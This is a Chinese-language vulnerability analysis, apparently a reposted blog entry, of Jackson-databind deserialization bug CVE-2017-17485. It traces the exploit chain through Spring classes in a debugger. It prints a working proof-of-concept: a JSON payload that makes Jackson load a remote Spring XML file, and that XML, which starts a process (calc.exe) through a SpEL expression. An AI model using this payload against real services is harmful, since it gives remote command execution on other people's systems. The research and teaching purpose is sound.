Java反序列化之Jackson-databind(CVE-2017-17485)


這個洞的cve編號:CVE-2017-17485,漏洞環境就如第一個鏈接那樣,jdk需要在jdk 1.8以上。
先看一下Jackson-databind的用法,說白了就是將json轉換成對象。
test-legit.json代碼如下

{"id":123}

運行結果如圖:
Alt text
如果注入的json代碼如下代碼,就會引入FileSystemXmlApplicationContext這個類,去下載spel.xml:

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

spel.xml配置如下:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="calc.exe" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

下斷點調試一下,F7跟進readValue函數。
Alt text
在readValue函數就是反序列化json,一直f8以后,在getBean下斷點后,讀取了id是pb的bean,也就是getBean執行完成后操作導致命令執行了(具體的例子可以看第一個鏈接)。
Alt text
進行表達式評估。
Alt text
返回構造函數。
Alt text
對#{ pb.start() }進行spel操作
Alt text
當解析完pb.start操作后就會命令執行
調用棧如下圖:
Alt text

說一下為什么引入FileSystemXmlApplicationContext類就能操縱spel
先找到FileSystemXmlApplicationContext這個類
Alt text
通過IntelliJ IDEA的Show Diagram Popup這個功能來觀察類和接口的繼承關系
Alt text
雙擊BeanFactory接口,這個接口有getBean方法
Alt text
實際調用geBean方法的則是在AbstractBeanFactory類中
Alt text
還有一個jakson CVE-2017-7525的洞有時間在跟一下。
可以參考這幾篇文章:http://xxlegend.com/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
參考鏈接:
https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/
http://pirogue.org/2018/01/12/jackson-databind-rce/
https://github.com/irsl/jackson-rce-via-spel


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM